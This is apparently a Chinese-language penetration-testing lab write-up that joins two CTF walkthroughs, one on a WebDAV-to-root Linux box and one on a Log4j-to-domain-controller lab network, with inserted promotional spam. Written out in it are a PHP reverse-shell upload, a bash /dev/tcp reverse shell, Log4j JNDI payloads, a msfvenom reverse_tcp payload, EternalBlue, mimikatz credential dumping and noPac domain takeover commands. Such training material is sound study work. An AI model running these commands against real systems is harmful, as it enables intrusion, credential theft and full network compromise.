虚拟网络编辑器:
Kali:靶机:
首先使用下面这条命令来发现靶机的ip地址为192.168.26.131
arp-scan -l然后开始使用nmap进行端口和服务的发现
nmap -sV -sC -p- 192.168.26.131经过对开放端口和服务的扫描,发现只开放了22端口和80端口,访问80端口也没发现什么可以测试的点,于是开始使用dirsearch进行目录的扫描。
【一>所有资源关注我,私信回复“资料”获取<一】1、很多已经买不到的绝版电子书2、安全大厂内部的培训资料3、全套工具包4、100份src源码技术文档5、网络安全基础入门、Linux、web安全、攻防方面的视频6、应急响应笔记 7、 网络安全学习路线8、ctf夺旗赛解析9、WEB安全入门笔记
0x02 信息收集dirsearch --url http://192.168.26.131经过目录扫描,发现了webdav的路径,访问了一波,发现需要登录,这里简单讲一下什么是webdav:
在我进行了多次简单的弱口令尝试后发现不行,于是开始使用kali自带的字典进行暴力破解,但是跑了很久失败了,所以我打算使用kali自带的字典生成工具cewl生成一个针对这个网站专属的字典进行测试一波。
cewl http://192.168.26.131 -w 192.168.26.131dict.txt![image.png](https://img-blog.csdnimg.cn/img_convert/13267318df81d6bde1c4be3097d6c1e3.png
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc rev.php接下来我们通过下面这条命令找一些属主是root 普通用户或组可执行 其他用户可写的文件,这种文件往往可以帮助我们实现权限提升。
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null#命令解释:从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写 如果发现了符合条件的用 ls -l命令显示 错误信息从定向到null先cat了一下搜索到的第一个文件,发现里面有brainfuck加密的内容,所以尝试解密下。
在线解密网站:http://bf.doleczek.pl/
解密得到的这个可能是某个用户的密码,所以根据查看/etc/passwd文件发现的用户,挨个尝试下。当我尝试切换到interno用户的时候,使用揭秘得到的这个字符串成功的su到了inferno用户上。到这里算是完成了从www-data权限到普通用户权限的权限提升。
然后我们在inferno用户的家目录下发现了第一个flag。
既然已经获取到了inferno用户的密码,我接下来尝试使用ssh登录到inferno用户上。
成功登录到inferno用户后再次执行下面这条命令:
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null我观察到除了我们刚刚发现密码的那个文件,其他文件都在/etc/update-motd.d/这个目录下,motd是message of the day这句话的缩写,我们通过ssh登录成功后看到的那些欢迎和提示的信息都是motd目录下存放的这些sh脚本所提供的。
那么现在我们知道了,当我们通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权,思路有了下面开始操作。
然后保存修改后,退出ssh的连接,然后重新使用ssh登录,触发执行我们修改root用户的命令。
当我们看到登录成功后的欢迎语的时候,root用户的密码已经成功的被我们修改成了123。接着只需要su到root用户即可提权成功。
在ssh成功登录后的欢迎语中,知道了靶机的版本是Ubuntu18.04,对于该版本我比较熟悉,之前用过该版本的提权漏洞,所以这里不过多赘述。先将exp下载到kali本地。
发现靶机上无法运行gcc,那么我们就在kali上先编译好,然后再传到靶机上即可。
可以看到通过CVE-2021-3493同样获取到了root权限
首先对web进行端口扫描,发现38080端口和22端口
访问一下38080端口发现是一个error page
用Wappalyzer看一下是什么架构,但是好像没有检测出来
【一>所有资源关注我,私信回复“资料”获取<一】1、200份很多已经买不到的绝版电子书2、30G安全大厂内部的视频资料3、100份src文档4、常见安全面试题5、ctf大赛经典题目解析6、全套工具包7、应急响应笔记8、网络安全学习路线
拿着报错去百度上发现应该是springboot
索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架
使用payload=${jndi:ldap://p9j8l8.dnslog.cn}验证一下有回显证明存在漏洞
尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105
抓包修改Content-Type: appllication/x-www-form-urlencoded,并执行以下payload成功回显
payload=${jndi:ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho}
执行ls -al /看一下也成功
nc开启监听端口
然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码
bash -i >& /dev/tcp/192.168.1.105/9999 0>&1
抓包添加payload=${jndi:ldap:1/192.168.199.140:1389/TomcatBypass/Command/Base64/二层转码之后的字符},即可得到反弹shell
进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集
在根目录下找到了第一个flag,这里有一个got this,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接
使用xshell尝试连接
连接成功,拿到了宿主机的权限
ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡
这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; doneping一下是存活的
使用毒液把流量代理出来,首先开启监听
admin.exe -lport 7777
然后上传agent_linux到靶机上
加权并执行
chmod 777 agent_linux_x86 agent_linux_x86 -rhost 192.168.1.105 -rport 7777
连接成功
这里本来准备用毒液的代理到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了
首先生成一个32位的elf马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
然后加权并执行
chmod 777 shell.elf./shellkali使用exploit/multi/handler进行监听
获取到宿主机的shell
然后添加10.0.1.0/24段的路由
bgroute add 10.0.1.0 255.255.255.0 1route print然后配置proxychain4.conf文件并使用socks模块
search socksuse auxiliary/sevrer/socks_proxyrun我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描
proxychains4 nmap -sT -Pn 10.0.1.7
发现有445端口,那么对445端口进一步扫描
先确定一下系统版本,使用auxiliary/scanner/smb/smb_version模块,发现是win7 sp1
看能不能利用永恒之蓝,这里使用到auxiliary/scanner/smb/smb_ms17_010模块,发现可以利用永恒之蓝
使用exploit/windows/smb/ms17_010_eternalbule模块,因为是不出网环境,这里需要用到bind_tcp载荷
run之后拿到一个system权限的meterpreter
在C:\Users\root\Desktop下拿到第二个flag
然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡
ipconfig /all看到dns服务器为redteam.lab应该在域内
这里ping一下redteam.lab得到域控的ip为10.0.0.12
这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到Administrator/Admin12345,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击
privilege::debugsekurlsa::logonpasswords这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显
noPac.exe下载地址:https://github.com/cube0x0/noPac
本来准备一步一步的用原始的方法打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧
首先创建一个机器账户,可以使用 impacket 的 addcomputer.py或是powermad
addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除
清除机器账户的servicePrincipalName属性
将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$
为机器账户请求TGT
将机器账户的sAMAccountName更改为其他名字,不与步骤3重复即可
通过S4U2self协议向DC请求ST
进行 DCsync Attack
这里直接使用sam_the_admin.py进行攻击
proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell即可拿到DC的shell
在C:\Users\Administrator\Desktop下找到最后一个flag